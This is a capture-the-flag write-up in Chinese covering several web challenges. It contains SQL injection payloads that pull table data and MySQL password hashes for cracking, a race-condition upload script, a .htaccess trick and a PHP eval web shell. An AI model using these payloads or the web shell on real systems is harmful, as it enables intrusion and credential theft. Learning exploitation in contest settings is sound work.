去南京线下比赛了,就没参与上,现在来复现了
Web
javasc Puzzle
只有一个js文件
const express = require('express')
const app = express()
const port = 8000
app.get('/', (req, res) => {
try {
const username = req.query.username || 'Guest'
const output = 'Hello ' + username
res.send(output)
}
catch (error) {
res.sendFile(__dirname + '/flag.txt')
}
})
app.listen(port, () => {
console.log(`Server is running at http://localhost:${port}`)
})
是Express框架,首先尝试从请求的查询参数中获取 username
,如果没有则设为 Guest
然后构造 output
,并通过 res.send(output)
将其作为响应发送给客户端。
如果在处理过程中发生错误,会尝试通过 res.sendFile(__dirname + '/flag.txt')
,将当前目录下的 flag.txt
文件内容作为响应发送给客户端
所以只要让他处理过程中出错就可以
使用字符串都不行,都只是拼接上的,所以要把username设置成对象,这样他解析就会出错
?username[toString]
解释一下为什么这样会出错
我们设置了username[toString]
,但没有为其指定具体的函数或值,当服务器端执行const output = 'Hello'+ username;
时,它会尝试调用username
对象的toString
方法,但此时toString
属性的值是undefined
(也是因为在js中没有定义的toString方法),这就导致了错误的发生。因为undefined
不是一个函数,不能被调用,所以会抛出类似于 “TypeError: Cannot convert undefined or null to object
” 的错误,从而进入catch
块
Limited1
app.py
# imports
from flask import Flask, request, jsonify, render_template
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
from flask_mysqldb import MySQL
import os
import re
import socket
FLAG1 = 'wctf{redacted-flag}'
PORT = 8000
# initialize flask
app = Flask(__name__)
# No matter what I do, someone always tries dirbuster even when
# the source is provided.
#
# This is NOT intended to make this harder/slower to solve.
limiter = Limiter(
app=app,
key_func=get_remote_address,
default_limits=["5 per second"],
storage_uri="memory://",
)
def get_db_hostname():
# use this when running locally with docker compose
db_hostname = 'db'
try:
socket.getaddrinfo(db_hostname, 3306)
return db_hostname
except:
# use this for google cloud
return '127.0.0.1'
app.config['MYSQL_HOST'] = get_db_hostname()
app.config['MYSQL_USER'] = os.environ["MYSQL_USER"]
app.config['MYSQL_PASSWORD'] = os.environ["MYSQL_PASSWORD"]
app.config['MYSQL_DB'] = os.environ["MYSQL_DB"]
print('app.config:', app.config)
mysql = MySQL(app)
@app.route('/')
def root():
return render_template("index.html")
@app.route('/query')
def query():
try:
price = float(request.args.get('price') or '0.00')
except:
price = 0.0
price_op = str(request.args.get('price_op') or '>')
if not re.match(r' ?(=|<|<=|<>|>=|>) ?', price_op):
return 'price_op must be one of =, <, <=, <>, >=, or > (with an optional space on either side)', 400
# allow for at most one space on either side
if len(price_op) > 4:
return 'price_op too long', 400
# I'm pretty sure the LIMIT clause cannot be used for an injection
# with MySQL 9.x
#
# This attack works in v5.5 but not later versions
# https://lightless.me/archives/111.html
limit = str(request.args.get('limit') or '1')
query = f"""SELECT /*{FLAG1}*/category, name, price, description FROM Menu WHERE price {price_op} {price} ORDER BY 1 LIMIT {limit}"""
print('query:', query)
if ';' in query:
return 'Sorry, multiple statements are not allowed', 400
try:
cur = mysql.connection.cursor()
cur.execute(query)
records = cur.fetchall()
column_names = [desc[0] for desc in cur.description]
cur.close()
except Exception as e:
return str(e), 400
result = [dict(zip(column_names, row)) for row in records]
return jsonify(result)
#useful during chal development
# @app.route('/testquery')
# def test_query():
# query = str(request.args.get('query'))
#
# try:
# cur = mysql.connection.cursor()
# cur.execute(query)
# except Exception as e:
# return str(e), 400
#
# records = cur.fetchall()
#
# column_names = [desc[0] for desc in cur.description]
# cur.close()
#
# result = [dict(zip(column_names, row)) for row in records]
# return jsonify(result)
# cause grief for dirbuster
@app.route("/<path:path>")
def missing_handler(path):
return 'page not found!', 404
# run the app
if __name__ == "__main__":
app.run(host='0.0.0.0', port=PORT, threaded=True, debug=False)
关键看到了那个sql语句,看到了flag1在注释中
同时是在limit进行注入,看看怎么闭合吧,复现也算是学到东西了,可以用*/
去匹配注释
即匹配那个注释掉的flag的那个注释,这样我们就可以写入我们的sql语句了
*/1 order by 4
因为验证了只有四个字段
*/ union select 1,2,3,4
突然想起了跑偏了,flag是在注释中啊,但是不知道怎么查,去问了ai,ai说在information_schema.processlist中可以看到
information_schema.processlist是 MySQL 数据库中的一个系统表,用于提供有关当前执行的 MySQL 进程的信息,包括连接的相关信息、正在执行的查询、连接状态等。以下是对其相关信息的介绍:
字段详解
Id:类型为bigint unsigned,是线程的唯一标识符,每个线程都有一个唯一的 Id,用于标识和区分不同的线程,当需要结束某个进程时,可使用kill + id来结束进程
User:类型为varchar(32),表示执行该线程的用户的名称,有助于识别是哪个用户发起了线程
Host:类型为varchar(261),表示发起线程的主机名和端口,有助于追踪线程的来源,特别是在多主机环境中
DB:类型为varchar(64),允许为空,是线程当前使用的数据库的名称,如果线程没有使用任何数据库,该字段可能为空
Command:类型为varchar(16),表示线程当前正在执行的命令类型,常见的命令类型有query(线程正在执行查询)、sleep(线程处于休眠状态)、connect(线程正在连接到 MySQL 服务器)等
Time:类型为int,表示线程在当前状态下已经运行的时间(以秒为单位),可以用来识别长时间运行的线程
State:类型为varchar(64),允许为空,是线程当前的状态,描述了线程正在做什么,例如sending data(正在向客户端发送数据)等,有助于了解线程的当前活动
Info:类型为varchar(65535),允许为空,显示线程正在执行的 SQL 语句,这个字段可以帮助诊断和优化查询,但默认只显示前 100 个字符,要看全部信息,需要使用show full processlist
所以
*/1 union select group_concat(info),2,3,4 from information_schema.processlist
Limited2
用的资源是和1一样的,搜集看看其他的地方
那就是按我上面错误的走呗
*/ union select database(),2,3,4
#回显库名是ctf,继续往下找就可以了
*/3 union select group_concat(table_name),2,3,4 from information_schema.tables where table_schema=database()--+
#[{"category":"Flag_843423739,Menu","description":"4","name":"2","price":"3.00"}]
*/3 union select group_concat(column_name),2,3,4 from information_schema.columns where table_name='Flag_843423739'--+
#[{"category":"value","description":"4","name":"2","price":"3.00"}]
*/3 union select group_concat(value),2,3,4 from Flag_843423739--+
[{"category":"wctf{r34d1n6_07h3r_74bl35_15_fun_96427235634}","description":"4","name":"2","price":"3.00"}]
Limited3
题目信息:
Note: This uses the same source as Limited 1.
There is a db user named: flag
The password for this user is 13 characters and can be found in rockyou.
Please wrap this password with wctf{} before submitting.
For example, if the password was hocuspocus123 then the flag would be wctf{hocuspocus123}
翻译一下:
注意:这使用的数据源与 “Limited 1” 相同。有一个数据库用户名为:flag。该用户的密码是 13 个字符长,并且可以在 “rockyou” 密码字典文件中找到。在提交时,请将此密码用 “wctf {}” 括起来。例如,如果密码是 “hocuspocus123”,那么标志(答案)就应该是 “wctf {hocuspocus123}”
但当时没有什么思路啊,还去看了那个menu库,啥东西都没有,看题目说的要爆破,数据库用户是flag
说可以在rockyou字典中找到,也就是找这个字典进行爆破呗
*/3 union select group_concat(user),2,3,4 from mysql.user--+
倒是看到了flag库
[{"category":"ctf,flag,root,mysql.infoschema,mysql.session,mysql.sys,root","description":"4","name":"2","price":"3.00"}]
*/3 union select group_concat(user,authentication_string),2,3,4 from mysql.user where user='flag'--+
[{"category":"flag$A$005$vnO^]\u0003\u0010jL\u0002r3Gd3S\\K^ 8erddrLn9trvBOHKkct.70yfGLXt/DfcNXvsqY/p2PD","description":"4","name":"2","price":"3.00"}]
回显了这个,这边自己只是到了这一步,就不知道怎么弄了,去看了SU里好哥哥们的聊天记录和wp
用的是这个语句
select/**/CONCAT('$mysql',substring(authentication_string,1,3),LPAD(conv(substring(authentication_string,4,3),16,10),4,0),'*',INSERT(HEX(SUBSTR(authentication_string,8)),41,0,'*'))/**/AS/**/hash/**/FROM/**/mysql.user/**/WHERE/**/user='flag'/**/AND/**/authentication_string/**/NOT/**/LIKE/**/'%INVALIDSALTANDPASSWORD%'
这个确实有点没见过嘞,查查看
SELECT
-- 使用 CONCAT 函数将多个字符串拼接成一个字符串
CONCAT(
'$mysql',
-- 从 authentication_string 字段的第 1 个字符开始,截取长度为 3 的子字符串
substring(authentication_string, 1, 3),
-- 从 authentication_string 字段的第 4 个字符开始,截取长度为 3 的子字符串,将其从十六进制转换为十进制,
-- 然后使用 LPAD 函数在左侧填充 0,使结果长度为 4
LPAD(conv(substring(authentication_string, 4, 3), 16, 10), 4, 0),
'*',
-- 从 authentication_string 字段的第 8 个字符开始截取,转换为十六进制,
-- 然后在第 41 个位置插入 '*'
INSERT(HEX(SUBSTR(authentication_string, 8)), 41, 0, '*')
) AS hash
FROM
mysql.user
WHERE
-- 筛选出用户名为 flag 的记录
user = 'flag'
AND
-- 筛选出 authentication_string 字段不包含 INVALIDSALTANDPASSWORD 的记录
authentication_string NOT LIKE '%INVALIDSALTANDPASSWORD%';
队友用hashcat去跑了
借鉴文章:https://github.com/hashcat/hashcat/issues/3049
Art Content
下载附件
/index.php
<?php
session_start();
$session_id = session_id();
$target_dir = "/var/www/html/uploads/$session_id/";
// Creating the session-specific upload directory if it doesn't exist
if (!is_dir($target_dir)) {
mkdir($target_dir, 0755, true);
chown($target_dir, 'www-data');
chgrp($target_dir, 'www-data');
}
?>
<!DOCTYPE html>
<html>
<title>Ascii Art Submissions</title>
<h1>Ascii Art Submissions</h1>
<style>
body {
font-family: monospace;
background-color: #f0f0f0;
text-align: center;
}
pre {
display: inline-block;
text-align: left;
background-color: #fff;
padding: 20px;
border: 1px solid #ccc;
border-radius: 8px;
}
</style>
<div>
<p>Submit your best ascii art here!</p>
<pre>
/$$$$$$ /$$ /$$ /$$$$$$ /$$
/$$__ $$ |__/|__/ /$$__ $$ | $$
| $$ \ $$ /$$$$$$$ /$$$$$$$ /$$ /$$ | $$ \ $$ /$$$$$$ /$$$$$$
| $$$$$$$$ /$$_____/ /$$_____/| $$| $$ | $$$$$$$$ /$$__ $$|_ $$_/
| $$__ $$| $$$$$$ | $$ | $$| $$ | $$__ $$| $$ \__/ | $$
| $$ | $$ \____ $$| $$ | $$| $$ | $$ | $$| $$ | $$ /$$
| $$ | $$ /$$$$$$$/| $$$$$$$| $$| $$ | $$ | $$| $$ | $$$$/
|__/ |__/|_______/ \_______/|__/|__/ |__/ |__/|__/ \___/
</pre>
</br>
<pre>
,----------------, ,---------,
,-----------------------, ," ,"|
," ,"| ," ," |
+-----------------------+ | ," ," |
| .-----------------. | | +---------+ |
| | | | | | -==----'| |
| | C:\>Submit | | |/----|`---= | |
| | C:\>Art.txt :D | | | ,/|==== ooo | ;
| | | | | // |(((( [33]| ,"
| `-----------------' |," .;'| |(((( | ,"
+-----------------------+ ;; | | |,"
/_)______________(_/ //' | +---------+
___________________________/___ `,
/ oooooooooooooooo .o. oooo /, \,"-----------
/ ==ooooooooooooooo==.o. ooo= // ,`\--{)B ,"
/_==__==========__==_ooo__ooo=_/' /___________,"
</pre>
</div>
<div>
<h2>Submit your art</h2>
<p>Submit the ASCII art here. Submissions will be hidden until after they are judged!</p>
<form action="/" method="post" enctype="multipart/form-data">
<input type="file" name="fileToUpload" id="fileToUpload"><br>
<input type="submit" value="Submit Art" name="submit">
</form>
<?php
if (isset($_FILES['fileToUpload'])) {
$target_file = basename($_FILES["fileToUpload"]["name"]);
$session_id = session_id();
$target_dir = "/var/www/html/uploads/$session_id/";
$target_file_path = $target_dir . $target_file;
$uploadOk = 1;
$lastDotPosition = strrpos($target_file, '.');
// Check if file already exists
if (file_exists($target_file_path)) {
echo "Sorry, file already exists.\n";
$uploadOk = 0;
}
// Check file size
if ($_FILES["fileToUpload"]["size"] > 50000) {
echo "Sorry, your file is too large.\n";
$uploadOk = 0;
}
// If the file contains no dot, evaluate just the filename
if ($lastDotPosition == false) {
$filename = substr($target_file, 0, $lastDotPosition);
$extension = '';
} else {
$filename = substr($target_file, 0, $lastDotPosition);
$extension = substr($target_file, $lastDotPosition + 1);
}
// Ensure that the extension is a txt file
if ($extension !== '' && $extension !== 'txt') {
echo "Sorry, only .txt extensions are allowed.\n";
$uploadOk = 0;
}
if (!(preg_match('/^[a-f0-9]{32}$/', $session_id))) {
echo "Sorry, that is not a valid session ID.\n";
$uploadOk = 0;
}
// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
echo "Sorry, your file was not uploaded.\n";
} else {
// If everything is ok, try to upload the file
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file_path)) {
echo "The file " . htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.";
} else {
echo "Sorry, there was an error uploading your file.";
}
}
$old_path = getcwd();
chdir($target_dir);
// make unreadable - the proper way
shell_exec('chmod -- 000 *');
chdir($old_path);
}
?>
审了代码,要求必须是txt文件,这个好绕过,再审没有啥东西感觉
还有一个c语言的文件
#include <stdio.h>
#include <stdlib.h>
int main() {
FILE *file = fopen("./flag.txt", "r");
if (file == NULL) {
perror("Error opening file");
return 1;
}
char ch;
while ((ch = fgetc(file)) != EOF) {
putchar(ch);
}
fclose(file);
return 0;
}
自己先传了传,都没什么用,看到了这个
shell_exec('chmod -- 000 *'):使用 chmod 命令将目标目录下的所有文件权限设置为不可读
SU里的m4x哥哥给了条件竞争的脚本,确实可以哈,是可行的,只要传的快就行
import hashlib
import random
import threading
import requests
url = "http://156.238.233.93:40000/"
sess = requests.session()
htacc = '''<FilesMatch "\.txt$">
SetHandler application/x-httpd-php
</FilesMatch>'''
shell = '''
<?php system('ls -l ../../'); ?>
'''
sessionId = hashlib.md5(str(random.randint(100000, 999999)).encode('utf-8')).hexdigest()
filename = "a"
def upload_htaccess():
global sessionId
sess.post(url, files={"fileToUpload": (".htaccess", htacc)}, cookies={"PHPSESSID": sessionId})
def upload_shell():
global sessionId
global filename
while True:
sess.post(url, files={"fileToUpload": (f"{filename}.txt", shell)}, cookies={"PHPSESSID": sessionId})
def get_shell():
global sessionId
global filename
while True:
filename = hashlib.md5(str(random.randint(100000, 999999)).encode('utf-8')).hexdigest()
res = sess.get(url + f"uploads/{sessionId}/{filename}.txt" , cookies={"PHPSESSID": sessionId})
if res.status_code < 400:
print(res.text)
upload_htaccess()
threading.Thread(target=upload_shell).start()
get_shell()
后来看了bao师傅的wp才知道
chmod *也是无法识别隐藏文件的,在linux里的隐藏文件给忘了
.shell.txt这样的
通过.htaccess
#define width 1337
#define height 1337
php_value auto_prepend_file "./shell.php.txt"
AddType application/x-httpd-php .txt
.shell.txt
<?php eval($_POST[1]);?>
上传之后蚁剑连接就可以了,又学到新东西了,哎,但是自己怎么就没去想条件竞争呢